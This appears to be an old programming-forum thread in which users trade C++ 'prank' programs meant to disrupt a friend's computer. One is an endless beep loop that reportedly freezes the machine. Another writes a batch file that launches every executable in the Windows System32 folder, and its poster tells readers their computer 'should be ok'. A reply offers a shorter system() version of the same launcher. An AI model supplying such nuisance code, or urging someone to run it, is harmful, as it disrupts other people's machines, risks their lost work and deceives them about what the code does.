This simple command line script is used to pull a prank on one of your buds. What it does is play an anoyying beeping sound over and over again while rendering the computer being used completely unresponsive. The task manager doesnt even respond. The window never loses focus and nothing can be done but listen to it or turn off the PC.

I was just trying to make a simple alert system when I accidentally crashed my comp. testing the script. TEST AT YOUR OWN WRISK. This is meant as a simple demostration of what such a small script can do.

Just put the code in one .cpp file and it will do its work when run.

#include <iostream>
using namespace std;

int main()
    int i = 1;
    while(i == 1)
        cout << "\a"; // \a = Alert (Beep)
        // This just plays a sound while the computer tries to keep up
        // with the incoming calls of sounds. The PC will try to keep all
        // of the records of input and output, rendering the computer useless.
10 Years
Discussion Span
Last Post by killdude69

Heres another :D

Your computer should be ok with this, have a go :P


using namespace std;

int main() {
	ofstream out("openAll.bat", ios::out);
	out << "for %%a in (\"C:\\Windows\\System32\\*.exe\") do start %%a";
	return 0;

I do not think I am going to try your script williamhemsworth. Nice try. lol. Let me guess, that script alters or deletes system files. Anyways, my script is harmless, it just completely disables your computer in a matter of seconds and the only bad outcome is a possible loss of work if the victim was working on something.


Actually, its just opens about every system file this is at once :P the most your computer will do it shutdown when the "shutdown.exe" file has started, but many hundreds will open before that ^.^ Your computer shouldent be damaged in any way :D


Hi, William, why not just: system("for %%a in (\"C:\\Windows\\System32\\*.exe\") do start %%a"); ?
(no need for fstream :P)

And killdude: instead of writing: while([B]i == 1[/B]) you could simply have written while([B]true[/B]) , though yours was not wrong :P
BTW, Your script doesn't render my computer useless :D


Thank you tux4life, for the generic sarcastic giggling smiley.

tux, that would not be my fault. Because I tested it, it froze my computer and the task manager would not even open.

Have something to contribute to this discussion? Please be thoughtful, detailed and courteous, and be sure to adhere to our posting rules.